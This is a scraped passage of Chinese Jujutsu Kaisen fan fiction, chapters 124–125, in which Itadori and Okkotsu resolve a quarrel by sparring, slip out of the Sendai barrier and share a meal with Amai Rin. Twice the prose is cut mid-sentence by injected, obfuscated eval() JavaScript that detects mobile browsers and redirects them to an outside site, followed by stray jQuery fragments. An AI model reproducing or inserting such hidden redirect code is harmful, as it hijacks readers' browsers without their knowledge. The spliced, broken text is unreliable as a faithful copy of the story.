现在也可以说是他自己想做的事了,所以他将自己完全地投入了进去,明知道虎杖悠仁绝对会生气也还是要将这个值得唾弃的选择拿出来说给他听,像是自虐般地在向粉发少年证明他自己的决心。
“......”
沉默在他们身边蔓延开来,死寂同样开始悄无声息地夺走周围的空气,令人几欲窒息。
虎杖悠仁忽然松开了紧皱的眉头,将一侧的眉毛挑了起来。
“你在害怕吗?”
“回答我啊,忧太,”他浑身的气势换了一道,笑不出来的嘴角让他变得严肃而郑重,少见地用命令的语气和乙骨忧太说话,“你在害怕吗?”
他重复着这个问题,步步紧逼,拉近了他和乙骨忧太之间的距离。
乙骨忧太抿着嘴,只是站在原地不肯说话。
“所以你就是在害怕!你害怕我总有一天还会像昨天那样被击溃,如果没有人能够伸出援手的话就会彻底死去,你害怕到那时连你也没办法保护我?是这样吗?”
乙骨忧太被逼得无处可逃,于是自暴自弃般地承认了:“我就是没办法忍受失去你的可能性,只是想想就没办法入睡,连现在我们之间的距离都觉得太远了!”
他们之间只有一米之隔,只要有一方伸出手臂就能创造联结,可乙骨忧太还是觉得太远了。
虎杖悠仁歪着脑袋抱臂问:“你需要我夸你很厉害吗?来打一场吧忧太!”
乙骨忧太微微抬头,缓慢地发出了疑问:“......诶?”
对面的粉发少年自顾自地向后退去,戴上了手套,活动起手脚:“来打一场,然后找个地方好好睡一觉。你太累了。”
乙骨忧太想要否认,但这是他第一次不理解虎杖悠仁的想法。他们刚才明明还在讨论什么生与死的大问题,结果下一刻虎杖悠仁却说他需要休息?话题转变之快就像从世界末日突然跳转到了喜欢什么口味的棒棒糖上一样让人感到一种诡异的错位感。
“悠......”
“来啊!”虎杖悠仁居然真的挥拳打了上来,从破空声与拳路的轨迹来看......没有丝毫留手的意思,附着了咒力的拳头直奔着乙骨忧太的脑袋而去。
从结界西南方传来的咒力气息惊动了统治仙台结界的泳者们。
三个古代术师,一个特级咒灵。
因为各自的术式和能力相互克制,所以在几乎终结仙台结界内所有战斗之后,这四个泳者默契地休战了。
如今这一潭死水的地方终于再起波澜,除了主动陷入沉睡、将相性克制自己的泳者生死设为苏醒条件的蜚蠊咒灵黑沐死之外,三个古代术师不约而同地观察着不知死活的“新人”们。
“战斗爆发的位置到这一带还有点距离啊,看起来是个咒力量还算合格的家伙。”梳着复古飞机头的石流龙原本兴致缺缺,这个结界内他已经找不到可以当做甜点享用的对手,强者相互克制的局面只会让这里愈发无趣。
他的目光瞥向了与爆发的咒力气息相反的方向,巨大的蜗牛样式神正在啃食着大地,它们所过之处留下的痕迹组成了圆形的轨道,坐镇被圈出的范围之中的泳者是接近神话时代的术师多鲁布·拉克达瓦拉,也是在倭国大乱时独自一人镇压群岛的元老。
第二次受肉的老人的术式能克制以数量致胜的特级咒灵黑沐死,石流龙自己则能凭借【咒力放出】的术式压制多鲁布,但如果贸然出手的话就必须得警惕飞在天上的最后一个人。
“这个气息......错不了、没错的——”
乌鹭亨子瞬间冷汗直流,她恐惧地抱住了自己的脑袋,只是将视线望向结界的西南方都会产生难以抑制的颤抖。
“他果然来了——!!宿傩果然回来了!!!”
多鲁布死得太早,石流龙又生得太晚,他们并不像乌鹭亨子一样对两面宿傩的咒力这么熟悉,尽管同样感受到了那股混杂着极恶的咒力,但没有亲历那个时代的术师终究无法想象乌鹭亨子的恐惧。
一个时代绝对的最强者。
石流龙从天台上站起身,准备去凑个热闹。
虎杖悠仁和乙骨忧太很久没有这样认真地对战过了。他们都没有使用术式,全凭咒力和身体力量相互对抗,通过最朴素的方式来发泄内心无处可去的负面感情。对术师们来说,负面感情即是力量源泉,它们变作诅咒和咒力将伤害化为实质捅向敌人。
这样想想,术师与非术师之间的区别也只有构造不同的大脑了吧?在非术师们的身上,负面感情同样也会成为伤害他人的力量,它们狡猾地伪装成语言、眼神、态度、社群关系,划开了人类脆弱的心。
虎杖悠仁喘了口气。
他不喜欢的那副表情已经从乙骨忧太的脸上消失了,黑发少年见他停了下来,于是有点不太确定地问道:“你不生气了吗?”
虎杖悠仁气笑了:“不,我现在还是很火大。”
但是感觉已经可以稍微心平气和一点地继续和乙骨忧太掰扯被放在一旁亟待沟通的问题,所以他说道:“我倒不是觉得那是个负担,可如果你看见我就只会觉得害怕,害怕分开也害怕失去我......那才是诅咒,只是一种对珍贵的东西太过在乎而产生的、对失去它们的恐惧。”
“我们之间是这样的关系吗?”他的话问住了乙骨忧太。
无论是小时候许下的“要成为永远的家人”的誓言还是互通心意后构筑起的亲密联结,他们之间什么时候需要通过这样极端的方式来确认对方绝对不会离开?
虎杖悠仁的视线挪向一边:“就算成为老爷爷也陪伴在对方身边......难道不能期待这样的未来吗?现在想想也有我的错,我总是对直面羂索这件事表现得太过畏缩,这才让一直注视着我的你也不自觉地焦躁了起来吧?抱歉,我不会再这样不坚定了。”
看向希望对他们来说是一件更需要勇气的事。
正如直视阳光总会伤到自己的眼睛,选择生比选择死更困难,尽管它们需要走过的路同样艰辛,可只要死亡仍旧代表着解脱,它就永远会被当做一种“最终选项”储存起来,被反复拿出来揣摩、抉择。
一旦选了就能解决问题,如果抱着这样的心态去战斗、生活的话,是永远都没办法认真起来对待自己的人生的吧?
乙骨忧太走近了几步,这一次他主动拉住了粉发少年的手臂,虎杖悠仁站在原地没有躲开。
手掌下的肌肉线条很分明,乙骨忧太低着头,继续拉近他们之间的距离。
他清楚自己握住的手臂拥有怎样的力量,他本该
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378262|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清楚的。
因为太过喜欢所以忽视了对方的能力,将自己摆在了依照力量决定的更高处,一旦坠入这样的思维深渊就等同于彻底摧毁了这段本应相互尊重的爱恋之情。望向对方的目光如果纠缠住了恐惧而非勇气,他们就会像是被网住的鱼一样疲于挣脱,最终在相互消耗的时间尽头精疲力尽。
“对......”他张口想要道歉,也终于意识到虎杖悠仁为什么会说他太累了,但粉发少年却打断了他的话。
“我、我也是第一次啊,爱上谁之类的......怎么让你更有安全感,怎么让你感受到我的心意,以后我会多注意这些的。”虎杖悠仁向后扬了扬头,侧着眼睛不太敢看乙骨忧太。
爱应运而生,但想要让它更长久地存在果然还是需要两个人一起努力才行。
虎杖悠仁也是在最近才模模糊糊地意识到这件事,现在那股支撑着他向乙骨忧太发难的气势正在缓慢地退去,之后留下的就是说出任性之言又自顾自地开始打架的羞耻感。
“总之,”为了摆脱有点烧过头的热度,虎杖悠仁反手拉住了乙骨忧太,扯着他随便找了一个方向,“果然应该先找个地方好好休息一下再进来的,我们都太着急了......”
乙骨忧太没有拒绝,他慢了半步跟在埋头前进的虎杖悠仁身后,看见了从发丝间露出的耳尖。上面带着点薄薄的红,衬得那头粉色的头发都变得通透起来。
“我还是想好好道歉,悠仁,”他颇为郑重地说道,“抱歉,谢谢你打醒我。”
“......不要再说了,我已经感觉很羞耻了——”虎杖悠仁没有回头,但声音却下意识地被压得很低,仿佛他做出来的蠢事真的很烫嘴。
“不,”乙骨忧太回握住了他的手,稍微晃了晃,“有的时候就是要用上一些其他的手段才能让人乖乖听自己讲话不是吗?”
虎杖悠仁终于回了头,脸颊上的热度也退去了一些:“如果是为了安慰我的话倒也......但我先说好,无论如何我都不会同意你去干那件事,唯独这个绝对不行。”
哪怕它听上去竟然能被称为最优解。
虎杖悠仁知道乙骨忧太不会轻易放弃,黑发少年的固执与独自成为怪物的决心正如他自己所说——天性如此,因为虎杖悠仁明白让他们这样的人完全抛弃天性是绝对不可能的事,因此只能一再警告他不许乱来,并且做好了只要乙骨忧太有想要将之付诸行动的想法就不惜一切也要阻止他的准备。
他也必须变得更强才行,至少绝不能再像遇到宿傩时那样无力了,只能将一切都推给乙骨忧太,让他承受了太大的压力。
这么一想果然还是他的问题啊。
“啊,旅馆的话前面那个——”虎杖悠仁指了指前方的建筑,话音未落却猛地转头和乙骨忧太一起望向了侧方的楼顶。
有人大张旗鼓地找上门来,落地时的巨大冲击力直接让墙面出现了可怕的裂痕。
“啊?原来你们认识啊?”石流龙踩着烟尘站起身,短款毛领夹克再配上昭和时代的潮流飞机头让他看上去就像是暴走族的不良青年。他左右打量了一下虎杖悠仁和乙骨忧太,发现他们似乎并没有多少警惕的时候反而升起了兴趣。
并非因为无知而无所畏惧,与之正相反,他们也像石流龙一样绝对信任着自己的力量。
“是谁?”
小金虫回答了虎杖悠仁的问题。
乙骨忧太扫了一眼它显示出来的名单,发现石流龙手里有77点分数,是仙台结界内持有分数第二多的泳者。排在他前面的人叫多鲁布·拉克达瓦拉,听起来像是个外国人。
“不错,很不错哦,”石流龙在往这边走的路上看到了仓皇远离的乌鹭亨子,虽然不知道那女人为什么这样恐惧,但既然她不准备参与进来的话倒是能让他稍微放开手脚享受一下了,“局面变得有趣起来了啊!”
虎杖悠仁虚虚地瞥了一眼乙骨忧太,悄声问道:“要打吗?”
虽然他现在还有余力啦,但是更想让乙骨忧太赶快去休息。
现在打起来的话会没完没了的吧?乙骨忧太抬眼盯着楼顶上打扮得像是复古潮男的古代术师,思考着怎样才能避免接下来可能发生的战斗。还是干脆直接打倒他比较好呢?
虎杖悠仁用手肘碰了碰乙骨忧太的胳膊,当着石流龙的面凑过来和他交头接耳:“古代术师一般不太想离开结界吧?看上去也不是因为宿傩才找过来的,不然我们直接走掉算了。”
乙骨忧太觉得这是个不错的想法。
石流龙没有一上来就对他们发起进攻说明他多少还是个保有理智的家伙,尽管他说的话让他听起来像是个战斗狂,但只要不受刺激的话......
站在楼顶等待开餐的石流龙看到两个少年像是在野外误闯了猛兽的领地一样,小心翼翼地向身后的结界边缘退去,避免了任何眼神接触,最后一起消失在了边界之后。
“......哈?”
124. 第 124 章
石流龙失望至极。看那个黑发少年的眼神,他还以为乙骨忧太会是个和他一样享受战斗的家伙,就算不会主动找到他们这些人打上一场,偶然遭遇战斗也不应该会是主动退却的类型,但他们就那样不声不响地离开了。
“......”他应该不会看走眼的才对。
石流龙的目光落在了挡在他面前的结界边缘。
“哪怕增加了能够自由出入结界的规则,大部分泳者也还是没有选择离开结界,”羂索坐在体育馆二层的看台上,和盘腿端坐在一旁的老人说道,“这倒是有点出乎我的预料,不过如果仔细一想的话倒也能够理解他们。”
多鲁布没有理会他的想法,但也没有驱赶之意,任由男人撑着侧脸兀自说个不停。
“哈哈,太久没遇到熟人了,一不注意就会变得有点唠叨,”羂索爽朗地笑了两声,摊手耸了耸肩膀,笑够了之后终于有点正经地说道,“这次和你的第一次受肉可不一样了啊,多鲁布。如果太小瞧晚辈们可是会吃大亏的。”
老人凸出的眼球微微转动,可依旧选择无视了这个在他面前与自己口中的“晚辈”无异的男人。
羂索站起身抖抖身上的袈裟,自如地说:“我等的人看起来还要晚些时候才过来。乌鹭亨子被宿傩吓得不轻......呵呵,仙台又要热闹起来了。”
身为死灭回游的真正开启者,配合着布置在各个结界的监视用咒灵,羂索能够观测到游戏场内的咒力总量,一旦有人离开或者进入就会第一时间察觉。不是为了知道多么细枝末节的事,主要是想监视、观察对他威胁最大的几个人。
五条悟的解封比他预想的时间早了太多,为了避免被直接找到杀掉,他也得给自己找好“靠山”才行。
“你应该也不介意我在这里多待一会儿吧?有我陪你聊天至少还能解解闷,虽然你比我那个优柔寡断的老朋友还要无趣一些......但打发时间总是可以的。”
羂索依旧满眼胜券在握的模样。
仙台结界外,乙骨忧太和虎杖悠仁站在漆黑结界之前屏息等了一会儿,发现石流龙真的没有追上来之后才安心开始寻找可以落脚的地方。
为了安全考虑,最后还是选定了一个远离这个地方的旅馆,通过社交网络确定了它现在仍旧开放着,他们启程前往仙台市博物馆附近。
“早知道就把留在雾岛的自行车带上了。”虎杖悠仁带着满满的罪恶感徒手扯断了路旁拴住脚踏车的锁链,双手合十虔诚地对着隔壁的房屋鞠躬。乙骨忧太将现金塞入了门缝里,希望屋主人还有回来的一天吧。
从现在的位置踩脚踏车绕着结界前进,大概需要一个多小时就能到了。差不多已是夕阳落山的时间,宽敞的街道上除了他们骑行的声音之外偶尔还能听到从小巷中传出的铁皮碰撞声,大概是一些根本不明白发生了什么的小动物们发出的噪音,也许还有的是游荡的低等级咒灵。
贴近结界边缘的城市已经被清空了,但并非完全无人居住。
在这样看似安静的环境中,从窗帘的缝隙或者暗处投来的视线会更加引人注意。因为只“买”下了一辆车,所以虎杖悠仁倒着坐在后座上,和乙骨忧太后背相贴。除了身后传来肌肉运动的感觉与热量之外,那些秘密注视着他们的视线也隔着外衣在皮肤上留下了不适的感觉。
实在没忍住,他顺着视线投来的方向看了回去。被掀起一条小缝的窗帘猛地拉上,布匹摆动的幅度揭穿了窥视者掩耳盗铃般的躲藏。
也许是不愿意离开居住了半辈子的老房子,也许只是因为性格执拗不想离家,亦或是根本不愿意相信这世界已经变得完全不一样了。
“听说会有专门的人员来给留在疏散区的居民送补给,再加上水电燃气之类的并没有被切断,总的来说要想住下去还是问题不大的,只不过生活质量肯定大不如前,也很危险......尤其是夜晚咒灵们最活跃的时候。”乙骨忧太的声音顺着风传了过来。
虎杖悠仁也只是看了那扇窗户一眼就很快地挪开了目光,他扬起头将后脑也靠在了乙骨忧太的背上,嗯了一声。
街边偶尔还会有没来得及关上橱窗装饰灯的服装店,在经过一个公园里的小型游乐设施的时候还听到了机械运转声和播放中的背景音乐。
琥珀色的眼睛扫过花坛中的植株,虎杖悠仁突然感叹道:“简直和我的领域里一模一样。”
乙骨忧太问:“这里吗?”
“不,不是说街景啦,”虎杖悠仁摸了摸鼻子,解释道,“是感觉。除了动物之外一个人也没有的地方总给人一种萧条的感觉,哪怕砖缝间还没有生出杂草或青苔,路面上也干净得一尘不染,但看了总会让人的心变得和那里一样空荡荡的。”
如果待得久了就好像自己也会变成留在这里的东西似的——甚至不会是某种悠然自在的动物,只会变成钢筋混凝土浇筑而成的建筑的同类。也许是一块砖,或者是大理石切割而成的装饰物。
“是个很寂寞的地方吗?”
虎杖悠仁仔细想了想:“也不算是。因为都是我记忆里熟悉的地方,所以在看到的瞬间就会想起以前的事,倒也不会觉得很寂寞。”
甚至会有一些熟悉又陌生的记忆闯进大脑里,比如早就在成长的过程中被岁月慢慢磨掉的孩童时代,虎杖悠仁在意识到“啊!原来我在这里还做过这样的事!”的时候就会感觉非常惊奇,像是重新听一个一直记录着他的一切的旁观者讲述他过去的事,重温那些连他自己都已经忘却的回忆。
原本他一直以为他和爷爷的老家就在宫城县的某个乡下村子,但是在搜索仙台结界的覆盖范围时他突发奇想地搜了小岩井农场的位置,发现它居然在盛冈附近。那可是岩手啊。
这难免让他怀疑自己的记忆是否出现了偏差,因为他完全不记得爷爷带着他搬到仙台时经历过什么让人觉得无聊又漫长的车程。
“也许大部分时间都睡过去了?悠仁的爷爷可能是选择在傍晚出发的吧,像我们选择夜间巴士一样。”
虎杖悠仁摇摇头:“完全没印象了。”
“只是,”他伸了个懒腰,动作幅度稍微大了一点,让一下子被带歪了的乙骨忧太发出了小小的惊呼声,“在领域里见到的景象,因为这些熟悉的街道而回忆起来的事更让我觉得生命的价值正在于此啊。哪怕记忆会褪色,但曾经发生过的事不会真正消失,只要它们还存在着,人的生命就是有意义的。”
眼前的诸多景象实在太有领域的既视感,虎杖悠仁盯着道旁的街景看了一会儿之后就闭上了眼睛,倒不是真的想要闭目养神,只是想从这种熟悉的感觉中抽离出去。
为了避开结界,他们必须时刻调整前进的路线,偶尔也需要扛着自行车翻越围墙和小巷才能继续前进。
他们几乎越过大半个仙台绕到了结界的另一端,到了仙台市博物馆附近的那个旅馆之后,才意识到这周围有一个专门为从仙台结界中撤离的居民们建造的临时安置点,相比于他们一路过来看到的空旷街巷来说,这里已经算得上是人山人海。
怪不得这家旅馆还开着。在乙骨忧太去办入住的时候,虎杖悠仁去隔了两条街左右的临时安置点看了一眼。他和爷爷搬到仙台之后的家离这附近不远,所以这里的街道他看着也总有种模模糊糊的熟悉感。
安置点有按数发放的便当,不在名单内的人也可以支付现金购买。棚子前的队伍没什么人,剩下的便当数量也不多了。
太阳已经完全落山,在排队的时候虎杖悠仁向后张望了一番。从远处看这些结界虽然能够意识到它们覆盖的面积之大,但远不如走到它们脚下时亲身体会到的感觉令人惊叹。就像遥望连绵起伏的山峰与真正仰头直面它们时所体会到的宏伟全然不同。
夕阳穿不透漆黑的结界,而它又完完全全地遮挡住了升起的月光。
“现在只有牛肉便当了,”看上去还是个高中生的黑发少女在本子上记录着什么,和同伴一起将最后一个装着便当的保温箱抬到了桌子上,“你要两份?”
“多谢。”虎杖悠仁数了数身上的现金,暂时还不需要动用其他存起来的资金。从保温箱里被取出来的便当还带着温温的热气,虎杖悠仁将它们装进袋子里准备离开的时候被黑发少女叫住了。
“你们已经找好住的地方了吗?天彻底黑下来之后就不要再出门了。”
“诶、谢谢你。”虎杖悠仁谢过对方的好意。
佐佐木看着粉发少年迎着黑暗走向了北面,觉得他和他的同伴大概是准备在旁边的那个旅馆落脚了。不在安置名单内、途径附近的人基本都会选择那里,但通常都会被旅店老板狠狠宰上一通。
“辛苦了佐佐木,我们可以休息了哦。”
“好!”
今天跟她一起负责在这个棚子分餐的同伴年纪要大上一些,下次也不知道还能不能被分到一起工作。有的时候佐佐木从社交媒体上看到诸如“被卷入死灭回游中的居民们正逐步恢复正常生活”之类的言论都会觉得很荒诞,看到远离结界的地方的生活如往常没什么两样的视频时也会产生不公平的抱怨。
他们只是离得足够远、足够幸运罢了。
被迫离家的人们挤在这里,大人失去了工作,学生不知道什么时候还能回到校园,不得不离开拼搏半生创造出来的家,还有很多仓皇逃离结界的人没来得及带上任何财产,好在安置点内能够提供部分免费的食物和床位。
分餐之类的工作能够赚取工资,佐佐木想要减轻一些家里的负担。父母也在努力联系能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378263|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够收留他们的亲戚,似乎老家爷爷奶奶们的情况也不太好。
比起留在安置点的大多数人,佐佐木在更早的时候就已经见识过了这个世界的另一面。她还记得在校园里遇到的那场袭击,尽管对于自己得救的过程只剩下了模模糊糊的记忆,但至少从那时起她就意识到了人类与一些看不见、摸不着的东西共享着世界。
“那个、抱歉,我想找人。”
佐佐木抬头,看见了一个穿着棒球服外套的人。染过的黄色从头顶发根的位置开始变回黑色,让他看起来顶着一颗布丁头似的。不、仔细看的话那玩意儿居然是一顶小帽子?!
偶尔也会遇到在各个安置点寻找失散亲人的人,但如果至今都没办法联系上的话,恐怕......
“是姓甘井?我去帮你查一下。”佐佐木给了甘井凛一个牛肉便当,让他先在棚子下面坐一会儿。安置点已经没有多余的床位了,他最好在黑夜真正降临之前决定好今晚的去处。
甘井凛捧着仍旧带着热气的便当蹲在一旁狼吞虎咽地吃了起来。
摆脱了羽生和羽场,他也终于下定决心要离开东京回到老家寻找父母。
以前也是,现在也是,为了活得更舒服一点而选择对更强者点头哈腰。初中的时候混在不良们之间,而今哪怕拥有了术式也选择成为羽生和羽场他们的跟班。
牛肉便当里的热气全都来自于已经有点干硬的米饭,酱汁和薄薄的肥牛早就凉透了。也许是回到老家让甘井凛想起了以前的事,杀死羽生和羽场的那个男人让他的记忆忽然闪回到了初中的某一天。
顶着头粉发的少年和那男人一样,他们用力量打碎了甘井凛一直以来的“求生”之道。跟着身边的“强大之人”一起行动,在他们需要的时候就弯下腰附和地笑,这明明是一种明哲保身的聪明办法,但大多数被欺凌的人却做不到。
所以受欺负的才是你们啊——这面扭曲的镜子被粉发少年的拳头打碎之前,里面照出的就是这样一个懦弱的自己。
父母并不理解他一定要离开老家、初中毕业后又毅然换了一个城市生活的原因,他自己也说不太明白,只是遵循着内心里“想要离开”的想法去了别的城市。结果哪怕得到了力量、拥有了术式,他还是重蹈覆辙,直到又有人蛮横地随手击碎了他的困境。
这是第二次。
他突然觉得自己不能再继续这样下去了,无论如何都不能再这样继续活下去。当真正危及生死的灾难展现在他眼前的时候,危险会迫使人飞快地成长,甘井凛早就意识到、但如今才真正正视了也许他这样唯唯诺诺的旁观者对受霸凌者造成的伤害并不输于那些真正挥动棍棒的恶人。
他用的不是言语或者肢体攻击,却依旧犯下了错误。
“甘井同学?抱歉,你要找的人不在这里呢。”佐佐木打断了他的沉思,手中牛肉便当只剩下了半份,甘井凛一路问过来已经不会对这样的结果感到失望:“没事,麻烦你了。”
佐佐木依旧不太放心地叮嘱他:“走过两条街有一家旅店,如果你没有落脚处的话可以去那边看看,但价格就......”
甘井凛觉得在大街上将就一晚也问题不大,成为术师之后他多少琢磨出了一些咒力的用法,支撑他度过深秋的夜晚不是太难的事。但他还是应了一声,毕竟佐佐木看上去真的很担心:“我知道了,我会去那边看看的。”
听起来是个发灾难财的黑心商家,甘井凛在离开安置点后叹了口气,买完便当他身上可一点现金都没有了,还不如直接去结界里暂住一晚。他挠着头向前走,头顶的路灯显得格外明亮,大概是因为这里几乎完全处在结界的阴影之下吧。
旅店的招牌很明显,一个字母里的LED灯似乎出现了故障,一闪一闪的。
甘井凛看到有两个人站在旅馆大楼前说着什么。
“诶——?!好贵!!”熟悉的发色让甘井凛一愣。
“快要赶上雾岛那边一个月的房租了......”乙骨忧太有点沮丧地向虎杖悠仁抱怨道。
“哪会有人在靠近结界的地方住这么贵的旅店啊?!都不知道该说是聪明还是笨了!”虎杖悠仁根本不能理解旅店老板为什么会将价格定得这么高。
乙骨忧太摇了摇头,同样完全想不明白:“总之我们要找新的落脚点了,实在不行就只能去结界里想办法。这次我们悄悄地进去,这样应该就不会惊动他们了。”
甘井凛没有发现他一动不动地盯着他们看的时间太久了。
“......你认识的人?”
虎杖悠仁稍微眯起眼睛回忆了一下,觉得这个人头上的小帽子看起来有点眼熟,但还是实话实说:“不记得了。”
他们嘀嘀咕咕地说完,同时看了过去。
125. 第 125 章
“我们是不是在哪里见过?”虎杖悠仁挑眉问道。
他直截了当地主动向甘井凛搭话,因为他的直觉告诉他这个戴着奇怪小帽子的少年身上没有让他讨厌的感觉。
是术师啊,乙骨忧太心想,但是看起来像是在死灭回游后才变成术师的人。
“啊?!这个......”甘井凛突然意识到自己打扰到了他们,在虎杖悠仁转过身来之后又确定了他的确是初中时遇到过的那个粉发少年。
甘井凛有点踌躇,但乙骨忧太和虎杖悠仁无声的等待又催促着他必须尽快给出答案:“你应该已经不记得我了吧?但是你初中的时候在我们那片很有名......我们确实见过,只是当时的场景不太......”
虎杖悠仁眨着眼睛,恍然大悟道:“你被我揍过?”
“那倒没有......”这样直白的话把甘井凛噎住了,但也不免开始思考如果当时他也在被揍过的那群人里面的话,自己会变成什么样呢?会抱怨“明明我只是个跟班的而已,凭什么要一起跟着挨揍”吗?将自己包装成了一个完全的受害者来为自己的怯懦找借口?
看着甘井凛变换的脸色,虎杖悠仁觉得越发疑惑。
如果不是被他揍过的不良,那就是被他从不良手里救下来的人?老实说他现在已经有点习惯走到哪里都能碰到各种熟人了,出于好心他还是提醒甘井凛:“这家旅店真的很离谱哦,最好别去这里了。”
甘井凛连连摆手:“啊,我本来就只是过来看看,也没钱住旅店......为了从东京赶回来已经用掉了我所有的现金。”
虎杖悠仁耸了耸肩膀。甘井凛这时才发现他手中拎着几个袋子,除了看上去是从分餐点拿到的便当袋子之外还有装在塑料袋里的水果。现在这种状况居然还能买到水果吗?
“那没办法了,”虎杖悠仁回头和乙骨忧太商量道,“再去远一点的地方呢?”
离结界越远,生活的“异常值”就会逐渐回归正常,如果没有其他顾虑的话他们倒是可以再往远处走一走。
“附近有个商场,我们去那边看看有没有可以休息的地方好了。”乙骨忧太低头查看了电子地图,最终决定再稍微往北走一点。
至于站在一旁满脸不知所措的甘井凛,他现在有点犹豫,不知接下来该怎么行动。难得遇到了自己的“同龄人”,至少其中一个人还是他认识的人,那种想要寻找“同伴”——以前的话称作“庇护”大概也可以吧——的软弱之心又一次在他心中蠢蠢欲动。
“你要是想去的话也可以跟上来啊,”虎杖悠仁向他招手,“商超里应该还有不少物资吧......我猜的,也可能被搜罗得差不多了?”
一旁的乙骨忧太没有反对。
他还有存在里香那里的被褥和露营用的装备,只要找个安全且远离人群的地方也能好好休息一下。
甘井凛跟了上来。
他们这次选定的地方应该是附近一带面积最大的商场,算上地下的话一共有六层,商场顶层的玻璃已经碎裂了,但是内部的温度还是比待在大街上的时候要高上一些。
地面一层都是商业街,奇迹般地没有像虎杖悠仁想象的那样什么都没有留下。冬服还挂在衣钩上,但是不少柜台后的糕点已经开始腐坏变质,饭店后厨没来得及处理的食材也散发着异样的气味。
除了他们三个之外,这里还有别人生活过的痕迹。虎杖悠仁蹲下来检查了一下堆积的泡面桶,里面残留的汤汁已经差不多彻底干透,看来曾在这里停留的人离开已经有一段时间了。
电力和水源还算充足,乙骨忧太借用了一间寿司店的后厨给他们的牛肉便当加热,外面的大堂里就剩下了甘井凛和虎杖悠仁。
黄发少年稍微有些窘迫。虎杖悠仁在手机上快速打着字,似乎在和什么人聊天。他过于坦然的态度非但没有缓解甘井凛莫名其妙的紧张,反而让他觉得愈发坐立难安起来。
手机......甘井凛再次尝试着拨通了父母的电话,可依旧没有回音。他有些茫然地退出了拨号界面,不管是信箱还是社交软件都没有什么值得关注的消息。高中的班级群聊里倒是不断刷着屏,但对甘井凛来说却没什么参与到其中的欲望。
“你已经问过小金虫了?在结界里找人的话还是问一下它比较方便吧?”
“诶?!你怎么知道我......是泳者?”
虎杖悠仁停下了打字的动作,挠了挠头有点不好意思地解释道:“你能看出我是术师吧?我也能看出来的。至于是不是泳者,这确实是我猜的。”
只是遵从了自己的直觉。他觉得甘井凛的身上没有尚未参与过死灭回游的紧张与恐惧,尽管作为术师还是过于青涩,但虎杖悠仁就是下意识地透过了他的眼神看穿了某些“成长”。
虎杖悠仁挪开了眼睛,甘井凛的沉默有点出乎他的预料。
也许甘井凛对他的印象比他想象中的更深刻?这对虎杖悠仁来说也是全新的体验,因为他从未想过自己会以什么样的形象出现在他完全陌生的人眼中,那会让人产生一种轻飘飘的期待与忐忑,可能还要捎带上一点点惊喜。
仿佛自己无意中与更广阔的世界产生了联系,令他感叹人与人之间那微妙的缘分。
甘井凛摇了摇头。事情总要往好的方向去想才行,如果他的家人此刻真的成为了泳者,那一定会出现在小金虫的名单上。没有的话......也许是在撤离的途中损坏了通讯设备,或者被什么别的事情绊住了手脚。
所以他之后要继续沿着仙台结界的安置点找一找,也算是找到了接下来的目标吧。在这样的世界里总要找到点目标才行,不然就只会陷入比以前更空虚的人生里。
牛肉便当的香气从后厨飘了出来,很快乙骨忧太就端着热好的饭回到了大堂中。
一盘寿司被推到了甘井凛的面前。他抬头,乙骨忧太又递来了一双筷子。
“我......”
“是存在冰箱里的,我挑了一些还没过期的热了一下,”乙骨忧太的声音盖过了甘井凛的未尽之言,筷子落在了瓷制寿司盘边缘,“就当是夜宵?”
甘井凛咽下了想说的话,接受了乙骨忧太的好意。他们并排坐在回转台子前,乙骨忧太走到了虎杖悠仁的另一侧放下了他们的牛肉便当。
黄发少年在虎杖悠仁两眼放光地感叹便当香气的时候拿起了筷子,后知后觉地意识到了这两个人可怕的体贴。
初中的时候在不良团体中被忽视是个需要用技巧与智慧来主动创造的状态,成为边缘人有时比成为受人瞩目的焦点更能让人轻松地“活”下去。甘井凛已经习惯刷着根本没什么可看的手机,一边应付周围人没营养的话题一边放空大脑让这无聊的时间从他身边溜走。
偶尔说上无关痛痒、没有人会回应的两句话来代表自己还存在着,或者在需要捧场的时候尽情拍手,堆起笑脸。
今天也应该这样的。他是闯入这两个人世界里的“不速之客”,被冷落也是理所当然的。比如被一个人扔在大堂里,或者在他们享用晚餐的时候独自坐在一旁看手机,等到他什么时候“意识到”自己似乎应该告辞了就灰溜溜地主动离开。
很少被重视所以连他自己都不太在乎的自尊因为留在大堂里的人和一盘夜宵重新变得鲜明起来。
他静悄悄地吃着寿司,却竖起了耳朵听着身边这两个人的交谈。
“......先生那边......”
“......感觉和在自己最擅长的科目上作弊了一样心虚。”乙骨忧太露出了非常发愁的表情,从黑发间的眉眼都皱了起来。
“你那是什么说法啊!”
虎杖悠仁的声音听起来像是在调侃,但笑盈盈的语气中却染上了一点点只有他们两个能明白的苦涩。
甘井凛第一次这样慢条斯理地享用寿司。被冷冻过的寿司饭已经变得干硬,自然也说不上什么口感,餐盘里更多的是被加热后随意放了些调料的鱼板、熟虾和玉子烧之类的。
虎杖悠仁的确与甘井凛记忆中那个冷着脸揍翻不良的少年相去甚远。他看上去非常健谈,也擅长调节气氛。方才的话题似乎并不轻松,就在甘井凛以为从他们身边散发出来的失落快要触碰到自己的时候,粉发少年巧妙地转换了话题。
而且他们的关系很好。甘井凛总觉得好像和玩得很好的朋友不太一样,他们之间相互适应的不止有爱好和性格,是一种磨合得很好、甚至有点太好了的关系。
舒适且坦然。
